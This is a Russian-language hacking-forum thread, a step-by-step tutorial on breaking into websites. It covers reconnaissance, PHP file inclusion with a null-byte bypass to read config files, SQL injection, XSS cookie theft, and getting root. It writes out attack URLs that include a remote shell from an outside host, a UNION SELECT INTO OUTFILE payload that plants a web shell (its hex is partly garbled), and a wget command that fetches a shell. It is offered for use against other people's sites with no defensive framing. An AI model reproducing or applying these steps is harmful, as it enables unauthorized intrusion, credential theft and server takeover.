Как взломать сайт

  • Автор темы Sasha3I8I2
  • Дата начала
S

Sasha3I8I2

Что разберем в теме?

1) Предварительный осмотр сайта

2) Атака

3) Шелл,РУТ

4) Личная безопасность

Немного о себе . Меня зовут Миша (Finik – мой псевдоним).Мне 14 лет. В области данной сферы я уже 5 лет . Знаю несколько языков программирования . Ладно не буду томить тебя .

И так …

Первое действие , для начала нужно определить вид сайта . Сайты бывают двух типов – со статическим или же динамическим наполнением . Второй тип попадается намного чаще , так что будем рассматривать его . Кстати , у вас наверное появился вопрос – ,,Как определить динамичный от статического сайта ?” , не беспокойтесь щас я вам все расскажу . Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp - это расширения языков обработки сценариев. Все , понял ? Поехали дальше

2 шаг

Возможно , сайт который вы хотите взломать состоит из 3-4 статических страниц и найти ошибки в коде в прямом смысле невозможно , но нам может помочь то что на одном сервере могут размещаться несколько сайтов , некоторые из них могут иметь динамическое наполнение или же вообще открытый доступ к админке . Помочь тебе может найти такие сайты специальные сервисы вот один из них :

http://domainsdb.net/

3 шаг

Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» - роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации. Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все они в открытом доступе). Они помогут отыскать скрытые от наших глаз файлы и папки. А мы подходим к сладенькому

4 шаг

АТАКА

Надо определить какой движок управляет сайтом , я вам расскажу как это сделать .

- Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx

- Стиль оформления такой же, как у движка yyyyyyy

- Название скриптов такое же, как у движка zzzzzzz.

Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, вот несколько из них :

- XakNet.ru

- AntiChat.ru

- SecurityLab.ru

Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты. Для самописных сайтов существуют несколько видов атак на веб- контент, самые распространённые:

- PHP-инъекции

- SQL-инъекции

- XSS-атаки.

Сейчас , я вам расскажу про все эти инъекции .

PHP-инъекции

PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=finik.php - это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом - _http://www.xxx.com/index.php?page=finik - выведет страницу finik.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php? page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php .

SQL-инъекции

Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат. Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 - _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описывать здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей - множество. Вот ссылки на некоторые ,специализированные сайты:

htp://XakNet.ru

htp://AntiChat.ru

XSS-атаки

Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида и последующем просмотре своей записи на экране появляется окно с open in browser PRO version Are you a developer? Try out the HTML to PDF API pdfcrowd.com Страница: 1 надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или сеcсия…

ШЕЛЛ

Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще: 1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе. 2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так - _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт. 3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=- 1+union+select+1,2,3,4,5,6,,,,, 0x3C3F20,3,9,3,4656D2,245F4,45545B2,632,5D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+'/home/www/shell.php'/*, где 0x3C3F20,3,9,3,4656D2,245F4,45545B2,632,5D293B203F 3E – это закодированное выражение , позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _htp://www.xxx.com?c=wget -O shell.php _htp://vasiliy.narod.ru/shell.php.

РУТ

Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте , компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… руууууут! Цель достигнута.
 
J

Jino1

С помощью keylogger можно атаковать xss
 
Похожие темы
Support81 Как взломать сайт за 5 минут: уязвимость в плагине Ultimate Member дает полный доступ к WordPress Новости в сети 0
V Как взломать веб–сайт Полезные статьи 1
Support81 Невидимый взломщик: как обычные разговоры позволяют взломать GPT-4o Новости в сети 0
Support81 BadRAM: как взломать облака Amazon, Google и Microsoft за $10 Новости в сети 0
A Как взломать аккаунт в инстограме Свободное общение 5
K как взломать vk Свободное общение 0
D Как взломать телефон с помощью зарядки juice jacking? Уязвимости и взлом 2
D Как взломать вай-фай(wep,wpa,wpa2,wps) Уязвимости и взлом 1
Sture23 Как взломать rar. Архив Свободное общение 5
Denik Интересно Как взломать пароли с помощью флэшки Уязвимости и взлом 3
Sture23 Интересно Как взломать почту.Майл/Яндекс/Gmail с помощью кали Линукс Уязвимости и взлом 5
S Брутфорс для Wi-Fi: как быстро взломать Wi-Fi со сложным WPA паролем Новости в сети 10
П Как взломать вк? Свободное общение 6
M Как взломать Telegram Новости в сети 0
V Как взломать самолёт? Уязвимости и взлом 0
M кто знает, как взломать макдональдс? Способы заработка 3
T Как взломать Wi-Fi со входом через браузер (SMS и прочее) Полезные статьи 0
R Не знаешь как взломать WINRAR? Тебе сюда! Полезные статьи 6
H Как взломать кинотеатр? Свободное общение 4
N Как взломать радио в маршрутке Свободное общение 6
L Как взломать rar архив ? Свободное общение 6
I HELP как взломать колонку? Свободное общение 2
F Как взломать страницу друга, даже если он сменит пароль!! Полезные статьи 1
A Как взломать почтовый ящик Полезные статьи 0
K Как взломать сервер андроид приложения? Свободное общение 3
P Как взломать зашифрованный файл MyWinLocker 40? Уязвимости и взлом 0
G Как взломать ВК через почту ? Уязвимости и взлом 0
M Android\Гайд|Как взломать теплый круг общения?|Вк|Ок|Qiwi|INST|и |Все,что можно подтвердить SMS| Уязвимости и взлом 1
RAPAX Как легко взломать ваш скайп Полезные статьи 0
Admin Как взломать платное приложение на Android Уязвимости и взлом 3
Admin Интересно «Пароль01» и дырявый VPN. Как пустить хакеров в сеть, чтобы они сломали вообще всё (пошаговая инструкция). Новости в сети 0
Admin Статья Как "Казаки" паттерны мошенников-"Разбойников" вычисляют, вооружаясь технологиями. Анонимность и приватность 0
Admin Интересно Ваш сервер — их притон: как группа UAT-7290 сдает ваши сервера в аренду своим друзьям. Дорого. Новости в сети 0
Admin Интересно Как стать «богом» в Linux, просто правильно подгадав время. Спойлер: вам понадобится Chronomaly. Новости в сети 0
Admin Статья Как оставаться незаметным в 2025 году – простые правила оперативной безопасности для всех. Анонимность и приватность 0
Admin Статья HTTP Request Smuggling в 2025: Как обходить современные WAF Уязвимости и взлом 0
Admin Статья Криптография в малвари: Как работают вымогатели (Ransomware). Полезные статьи 0
Admin Статья Право на root. Как повышают привилегии в Linux. Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 2) Уязвимости и взлом 0
Admin Статья Как простой баг повреждения памяти ядра Linux приводит к полной компрометации системы(Часть 1) Уязвимости и взлом 0
Admin Статья Как Mozilla упустила (не)очевидную уязвимость Уязвимости и взлом 0
Admin Статья Почему ваш «Windows» прокси палится как Linux: Глубокий разбор TCP Window Size, о котором молчат. Анонимность и приватность 0
Admin Интересно Старый конь борозды не испортит. Как сертификат десятилетней давности помог хакерам проникнуть в госучреждения Азии. Новости в сети 0
Admin Статья Direct Syscalls vs EDR: Как заставить Windows выполнять ваши команды в обход хуков защитного ПО Вирусология 0
Admin Интересно Gemini лезет из каждой дыры Chrome? Вот как убить все ИИ-кнопки и вернуть нормальный браузер. Новости в сети 0
Admin Интересно «Здравствуйте, я журналист, заполните анкету». Как хакеры из КНДР «разводят» южнокорейских экспертов. Новости в сети 0
Admin Статья Гейминг как источник данных: OSINT в виртуальных мирах OSINT 0
Admin Статья Крипто-детектив: Идем по следу транзакций. Как деанонить блокчейн. OSINT 0
Admin Интересно Семь миллионов долларов за одну ночь. Рассказываем, как пострадали пользователи Trust Wallet и что делать сейчас. Новости в сети 0
Admin Интересно Казалось, что летим, а на деле — ползём. Как ИИ-помощники незаметно крадут время у профессиональных кодеров. Новости в сети 0

Название темы